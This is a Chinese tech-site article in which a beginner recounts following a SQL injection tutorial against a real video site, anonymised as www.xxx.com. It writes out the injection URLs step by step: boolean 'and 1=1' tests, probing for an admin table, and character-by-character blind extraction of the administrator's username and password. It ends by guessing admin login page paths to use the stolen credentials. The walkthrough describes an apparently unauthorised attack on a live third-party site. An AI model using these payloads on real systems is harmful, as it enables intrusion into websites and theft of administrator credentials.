扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
首先下载:09月21日的SQL注入技术实例讲解,打开后是网页形式的,看过一次以后拿某网站VOD视频做了一下测试。
首先引用一下教程里的话:“SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。 在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 ”
寻找目标,我寻找到了,这里就用www.xxx.com代替吧。
打开一个电影地址,www.xxx.com/film/show.asp?id=271
测试一下www.xxx.com/film/show.asp?id=271 and 1=1
打开了 这步应该是测试可不可以用SQL注入攻击的一个验证吧,(不过我试的那个网站是可以SQL注入攻击的,我到不知道不可以SQL注入攻击会返回什么值)
www.xxx.com/film/show.asp?id=271and 1=2没打开(在教程里面这个写成了_blank>http://www.bofei.net/film/show.asp?id=271 adn 1=2 希望管理员如果看到的话请改一下~~)
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin)这一步是查看是否存在ADMIN列表的,测试以后打开,说明ADMIN列表存在
根据教程测试,测试密码,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)>5) 打不开,连接错误,后来跟教程一样试了8,结果也是错误,后来直接图方便把8改成了6,嘿嘿,还是错误,为啥?因为是>而不是=,后来试了几次都没有打开。郁闷了,想,是在哪出错的?后来从新看了一次教程,并把命令粘到了文本文档做比较,哦,原来应该是=,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)=6)
试了一下=以后,结果打开了,说明ADMIN的密码=6位 继续下一步。
猜测用户名
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')
直接套这步,没打开,后来苦思N久, 没看懂教程里面的意思,哎,先放着,继续下一步。
寻找站长的名字,当时还是没大看懂这句,网站上N多地方都没有网站站长的名字之类的,继续下一步。
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,6)=''13月32日'')
我试了次,当然打不开,2个站的站点ADMIN怎么能一样内,嘿嘿。当时没有理解这个的意思,我又继续了下一步。我虽然不理解这句的意思,但是我稍微知道,13月32日,就是站长的ID,(username,6)就是站长的名字=6位长的意思。(不知道这样理解对不对呀如果不对请指出)
猜测密码,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')
这步他直接猜测完了,他的密码是6位数,然后密码是100200,这步的步骤。
第1步应该猜测第1位数的密码,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,1)=''1'')
''1'' 应该把这个''''号里的1,从0-9,A-Z试一次,如果失败,会打不开,直到成功了,就会正打开,而且没有错误提示。这句我只能理解括号里面的,(password,1)=''1'')这句理解成: 密码的第1位数=1
试完第1个密码该试第2个密码了,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,2)=''10'')
因为我已经站点第1个密码是1了所以不用动第1位数了,这次也是从0-9,A-Z试一次,这步完了就该第3步了,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,3)=''100'')
依次第6步就应该是
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')
因为先前已经知道他的密码长度是6位了,然后他的管理员ID也依照这个方法来查
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')
(username,1)=''1'') 这句理解成:第1个名字的是:1
依次查出管理员名称,
pass:如果管理员名字改成汉字,那半年也猜不错吧?不知道能不能用汉字?:(
试出管理员密码,然后试登陆页面,3个地址
www.xxx.com/film/adminlogin.asp
www.xxx.com/film/login.asp
www.xxx.com/film/admin/login.asp
大概会应该有一个能进入的,然后用你刚才查到的管理员ID和PASSWORD进入。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。